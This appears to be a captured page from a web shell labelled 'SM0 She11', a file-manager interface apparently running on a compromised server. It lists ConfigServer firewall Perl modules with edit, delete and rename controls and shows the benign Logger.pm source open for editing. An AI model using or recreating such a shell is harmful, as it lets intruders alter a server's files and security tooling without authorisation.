SM0 She11

Path: / / tmp / csf / ConfigServer

Full Path (server): /tmp/csf/ConfigServer

Create Fil3

Upl04d Fil3

• 📄 AbuseIP.pm [E] [D]
  [R]
• 📄 CheckIP.pm [E] [D]
  [R]
• 📄 CloudFlare.pm [E] [D]
  [R]
• 📄 Config.pm [E] [D]
  [R]
• 📄 DisplayResellerUI.pm [E] [D]
  [R]
• 📄 DisplayUI.pm [E] [D]
  [R]
• 📄 GetEthDev.pm [E] [D]
  [R]
• 📄 GetIPs.pm [E] [D]
  [R]
• 📄 KillSSH.pm [E] [D]
  [R]
• 📄 Logger.pm [E] [D]
  [R]
• 📄 LookUpIP.pm [E] [D]
  [R]
• 📄 Messenger.pm [E] [D]
  [R]
• 📄 Ports.pm [E] [D]
  [R]
• 📄 RBLCheck.pm [E] [D]
  [R]
• 📄 RBLLookup.pm [E] [D]
  [R]
• 📄 RegexMain.pm [E] [D]
  [R]
• 📄 Sanity.pm [E] [D]
  [R]
• 📄 Sendmail.pm [E] [D]
  [R]
• 📄 ServerCheck.pm [E] [D]
  [R]
• 📄 ServerStats.pm [E] [D]
  [R]
• 📄 Service.pm [E] [D]
  [R]
• 📄 Slurp.pm [E] [D]
  [R]
• 📄 URLGet.pm [E] [D]
  [R]
• 📄 cseUI.pm [E] [D]
  [R]

Editing: Logger.pm

############################################################################### # Copyright 2006-2018, Way to the Web Limited # URL: http://www.configserver.com # Email: sales@waytotheweb.com ############################################################################### ## no critic (RequireUseWarnings, ProhibitExplicitReturnUndef, ProhibitMixedBooleanOperators, RequireBriefOpen) # start main package ConfigServer::Logger; use strict; use lib '/usr/local/csf/lib'; use Carp; use Fcntl qw(:DEFAULT :flock); use ConfigServer::Config; use Exporter qw(import); our $VERSION = 1.02; our @ISA = qw(Exporter); our @EXPORT_OK = qw(logfile); my $config = ConfigServer::Config->loadconfig(); my %config = $config->config(); my $hostname; if (-e "/proc/sys/kernel/hostname") { open (my $IN, "<", "/proc/sys/kernel/hostname"); flock ($IN, LOCK_SH); $hostname = <$IN>; chomp $hostname; close ($IN); } else { $hostname = "unknown"; } my $hostshort = (split(/\./,$hostname))[0]; my $sys_syslog; if ($config{SYSLOG}) { eval('use Sys::Syslog;'); ##no critic unless ($@) {$sys_syslog = 1} } # end main ############################################################################### # start logfile sub logfile { my $line = shift; my @ts = split(/\s+/,scalar localtime); if ($ts[2] < 10) {$ts[2] = " ".$ts[2]} my $logfile = "/var/log/lfd.log"; if ($< != 0) {$logfile = "/var/log/lfd_messenger.log"} sysopen (my $LOGFILE, $logfile, O_WRONLY | O_APPEND | O_CREAT); flock ($LOGFILE, LOCK_EX); print $LOGFILE "$ts[1] $ts[2] $ts[3] $hostshort lfd[$$]: $line\n"; close ($LOGFILE); if ($config{SYSLOG} and $sys_syslog) { eval { local $SIG{__DIE__} = undef; openlog('lfd', 'ndelay,pid', 'user'); syslog('info', $line); closelog(); } } return; } # end logfile ############################################################################### 1;
Save